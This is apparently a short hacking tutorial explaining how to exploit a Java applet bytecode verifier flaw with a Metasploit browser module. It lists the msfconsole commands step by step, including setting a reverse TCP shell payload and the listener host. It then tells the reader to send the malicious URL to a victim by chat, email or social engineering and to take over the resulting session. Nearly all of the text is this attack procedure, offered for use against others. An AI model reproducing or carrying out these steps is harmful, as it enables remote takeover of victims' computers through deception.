Hack Remote PC using Java Applet Field Bytecode Verifier Cache Remote Code Execution

This module exploits vulnerability in HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.

Exploit Targets

Generic (Java Payload) (default)

 Windows x86 (Native Payload)

 Mac OS X PPC (Native Payload)

 Mac OS X x86 (Native Payload)

 Linux x86 (Native Payload)


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/multi/windows/browser/java_verifier_field_access

Msf exploit (java_verifier_field_access)>set payload java/shell_reverse_tcp

Msf exploit (java_verifier_field_access)>set lhost (IP of Local Host)

Msf exploit (java_verifier_field_access)>set srvhost (This must be an address on the local machine)

Msf exploit (java_verifier_field_access)>set uripath / (The Url to use for this exploit)

Msf exploit (java_verifier_field_access)>exploit

Now an URL you should give to your victim //

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 


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